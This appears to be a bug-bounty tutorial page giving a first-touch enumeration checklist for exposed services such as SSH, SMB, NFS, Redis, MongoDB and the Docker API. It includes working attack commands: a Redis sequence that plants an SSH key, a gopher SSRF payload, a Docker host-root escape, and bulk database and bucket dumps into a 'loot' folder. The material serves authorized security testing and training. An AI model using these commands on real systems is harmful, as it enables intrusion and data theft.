Beginner levelFree

Services checklist — first touch on any target (SSH, FTP, SMB, NFS, Redis, Mongo, RDP)

A practical first-enumeration checklist for the 15 most common services in pentesting: ports, default credentials, typical exploits and misconfigurations.

Gorka El BochiMay 11, 202611 min

Quick answer

Before hunting web bugs, map the target's exposed services with a consistent first touch. The methodology: nmap top-1000 + version detectionservice-specific probes (SSH banner, SMB null session, NFS showmount, Redis INFO, Mongo isMaster) → default credentialsknown misconfigurations. Typical bounty for a Redis without auth and CONFIG SET enabled: €2000-€8000 if it touches production infra.


The first touch — nmap correctly

Before touching anything, scan well. The difference between a random nmap -p- and a structured scan is 80% of the work.

bash
# Fast top 1000 + version detect
nmap -sV -sC -T4 --top-ports 1000 -oN quick.txt target.com

# Full port — whenever the target allows it
nmap -p- -sV -sC -T4 -oN full.txt target.com

# UDP top 100 (slow but sometimes gold)
sudo nmap -sU --top-ports 100 -T4 -oN udp.txt target.com

[!tip] Fast banner grabbing nc -nv target.com 22 or curl -v telnet://target.com:6379 gives you the banner + version without waiting for the full scan. Useful when you already have a candidate IP from recon.


Services table — first touch

ServicePortInitial commandWhat to look for
SSH22ssh -v targetBanner version, key auth only, CVE-2025-32433 (Erlang OTP)
FTP21ftp target (user anonymous)Anon login, vsftpd 2.3.4 backdoor, writable dirs
SMB139/445enum4linux-ng targetNull session, listable shares, RID user enumeration
NFS2049showmount -e targetWorld-readable exports, no_root_squash
RDP3389rdp-sec-check targetNLA disabled, BlueKeep (CVE-2019-0708), weak creds
Redis6379redis-cli -h target INFONo auth, CONFIG SET dir → RCE via SSH key write
Mongo27017mongosh "mongodb://target"No auth, show dbs lists everything, full dump
Memcached11211echo "stats" | nc target 11211No auth, amplification reflector
Elastic9200curl target:9200/_cat/indicesNo auth, full data in _search
Kibana5601curl target:5601/api/statusPath traversal, old prototype pollution
MySQL3306mysql -h target -u root -p ''Root without password, anonymous user
Postgres5432psql -h target -U postgresTrust auth, default postgres/postgres
Docker2375/2376curl target:2375/versionAPI without TLS → trivial container escape
Jenkins8080curl target:8080/scriptScript console without auth → groovy RCE
RabbitMQ15672curl target:15672/api/whoamiDefault guest/guest

SSH — beyond the banner

bash
# Banner + supported algorithms
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com

# Brute-force only if the program's policy allows it (rare)
hydra -L users.txt -P pass.txt ssh://target -t 4

Things to report:

  • ssh-rsa with MD5 as the signature algorithm (deprecated since OpenSSH 8.8).
  • Password auth enabled on production boxes.
  • A banner that leaks the exact version vulnerable to a known CVE.
  • Erlang/OTP banner → potentially CVE-2025-32433 (pre-auth RCE).

SMB / NFS — the lateral classics

bash
# SMB null session (no password)
smbclient -L //target/ -N
enum4linux-ng -a target

# List shares and mount
smbmap -H target
mount -t cifs //target/share /mnt -o user=,password=

# NFS exports
showmount -e target
mount -t nfs target:/export /mnt

[!warning] no_root_squash If showmount -e lists an export without root_squash, you mount as local root and write files with UID 0 → instant privesc on the server. Reportable as High in any bug bounty program with internal infra in scope.


Redis without authentication — the classic that pays

Redis is still the #1 target for "oops, I left it open" in 2026.

bash
redis-cli -h target.com
> INFO
> CONFIG GET *
> KEYS *

If CONFIG SET is not disabled:

bash
# Write an SSH key as the redis-server user (typical)
redis-cli -h target FLUSHALL
redis-cli -h target SET x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h target CONFIG SET dir /var/lib/redis/.ssh/
redis-cli -h target CONFIG SET dbfilename "authorized_keys"
redis-cli -h target SAVE

If it's exposed only to localhost but there's an SSRF in the web app → gopher://127.0.0.1:6379/_FLUSHALL%0d%0a... executes the same commands. Real bounty €3000-€8000.


MongoDB without auth — full dump

bash
# Connection without a password
mongosh "mongodb://target.com:27017"
> show dbs
> use admin
> db.users.find().pretty()

# Full dump
mongodump --host target.com --out ./loot/

Always report: the count of accessible documents, the types of sensitive data (emails, hashes, PII), the Mongo version (< 3.6 doesn't require auth by default in many deployments).


Exposed frameworks — paths always worth trying

bash
# Concat of typical paths per framework
ffuf -u https://target.com/FUZZ -w framework-paths.txt -mc 200,401,403
FrameworkTelltale path
Symfony/_profiler, /app_dev.php
Laravel/.env, /telescope, /_debugbar
WordPress/wp-json/wp/v2/users, /xmlrpc.php
Django/admin/, /__debug__/
Rails/rails/info/routes
Spring Boot/actuator/env, /actuator/health
Express/api-docs, /swagger
Flask/console (Werkzeug debug)

Exposed Docker API

bash
# Quick check
curl http://target:2375/version

# List containers
curl http://target:2375/containers/json

# Container escape — mount the host root
docker -H tcp://target:2375 run -v /:/host -it alpine chroot /host /bin/bash

This is an instant Critical. The Docker API on port 2375 without TLS = host root.


Cloud storage — buckets are still gold

bash
# AWS S3
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/ ./loot/ --recursive --no-sign-request

# GCS
curl https://storage.googleapis.com/target-bucket/

# Azure
curl "https://target.blob.core.windows.net/?comp=list"

Naming guess: target, target-assets, target-prod, target-backup, target-dev, target-uploads, target-static, target-staging.


Hunting checklist

  • nmap -sV -sC --top-ports 1000 before touching anything
  • nmap -p- when the program allows full scans
  • Manual banner grab with nc/curl on every weird port
  • SMB null session: enum4linux-ng -a target
  • NFS exports: showmount -e target → look for no_root_squash
  • Redis: redis-cli INFO and check CONFIG GET dir
  • Mongo: mongosh without a password, show dbs
  • Elasticsearch: curl :9200/_cat/indices?v
  • Docker API: curl :2375/version → if it responds, Critical
  • Cloud buckets: names derived from the domain + S3Scanner
  • Frameworks: /actuator/env, /_profiler, /console, /telescope
  • Default creds on every admin panel found (Jenkins, RabbitMQ, Tomcat)

Practice service enumeration on real infra with misconfigurations reproduced from real bug bounties in the Services Pentesting labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Services Checklist

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

How to chain a Redis misconfig with SSRF for clean RCE on internal infra without authentication — and why Redis is still the #1 bug target among internal subdomains in 2026.

Unlock

€7.99/mo · cancel anytime

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy